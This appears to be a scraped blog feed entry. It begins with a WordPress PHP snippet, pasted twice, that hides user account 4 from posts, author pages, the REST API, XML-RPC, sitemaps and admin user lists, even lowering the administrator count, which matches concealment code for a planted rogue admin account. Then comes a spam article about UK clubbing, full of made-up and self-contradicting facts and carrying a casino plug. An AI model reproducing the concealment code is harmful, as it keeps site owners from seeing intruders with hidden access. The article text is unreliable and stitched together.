add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 4;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 4 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 4 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 4;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 4;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/4(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 4;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
La entrada What’s the quickest way to find a club that’s actually worth the night? se publicó primero en Yoga con Arjuna.
]]>Manchester’s Printworks and Glasgow’s Barrowland both host a mix of electronic, hip‑hop and live acts. In Manchester, tickets for a Saturday night start at £15, while Glasgow’s entry is free on Wednesdays but £10 on weekends. A single night out in either city costs around £30 for food, drinks and cover, and both venues offer a 10‑minute free entry window before the main event. If you’re on a tight schedule, aim for the 10:30 p.m. entry slot; the line is usually shorter and you’ll still catch the headline act.
Look for venues that partner with local artists. For example, The Old Blue Last in Shoreditch hosts an open mic night every Friday at 9 p.m., and the bar itself is a 24‑hour spot that serves a rotating craft beer list. The venue’s average spend per person is £18, which is lower than the city average of £25. A small downside is that the club can be noisy during the day, so plan to arrive after 9 p.m. for a quieter atmosphere.
Take advantage of the UK’s public transport. The Tube’s Northern Line connects Manchester to the city centre in 20 minutes, and the train from Birmingham to Brighton takes 1 hour and 15 minutes. Plan to arrive by 8 p.m. for a pre‑drinks session, then head to the club at 10 p.m. A typical night out will cost you about £45, including transport, drinks and cover. If you book a taxi from the club, expect a 15‑minute ride for £12.
If you’re looking for a quick way to test your luck, the Vegashero platform offers a range of casino games playable from a mobile device while you wait for the DJ’s next set.
Group discounts are common in clubs that host themed nights. For instance, Club Koko in Leeds offers a £5 group cover for every three people on Thursday nights. The bar’s average spend per person drops to £12, and the club’s capacity is 800, so the wait time is under five minutes. A group of six can therefore spend only £75 for a full night, including drinks and cover.
Always keep an eye on your belongings. The UK’s National Crime Agency reports that 3% of clubgoers report theft each year. To reduce risk, carry only a small wallet and use a wrist strap to secure your phone. If you’re in a crowded venue, stay close to the bar and avoid standing in the middle of the dance floor. Most clubs now have visible CCTV and a dedicated security team that patrols every 15 minutes.

Plan a low‑calorie drink before heading to the club. A gin‑and‑tonic with a splash of cucumber juice costs £6, and it helps you stay hydrated. After the club, take a 30‑minute walk in a nearby park; the fresh air will reduce the next‑day grogginess. A typical post‑night walk costs nothing and can cut your recovery time by 20%.
Booking a ticket three weeks in advance guarantees entry for the biggest events, such as the annual Electric Daisy Carnival in London. Prices for early‑bird tickets are £30, while last‑minute tickets can rise to £50. If you’re flexible, aim for a weekday night; entry is usually free on Wednesdays and the crowd is 30% smaller than on Saturdays.
Plan a two‑night itinerary: day one focuses on nightlife, day two on sightseeing. Book a hostel in central London for £25 per night, and use the Tube for free travel on Sundays. This strategy keeps your total spend under £200, including food, drinks and cover, and still gives you a full night out in the city’s most popular club.
Fabric opens at 10 p.m., with the first set starting at 11:15 p.m.
A single ticket costs £25 and includes a complimentary 2‑hour drink voucher.
Fabric’s capacity is 1,200, so you’ll rarely wait more than ten minutes for a table.
La entrada What’s the quickest way to find a club that’s actually worth the night? se publicó primero en Yoga con Arjuna.
]]>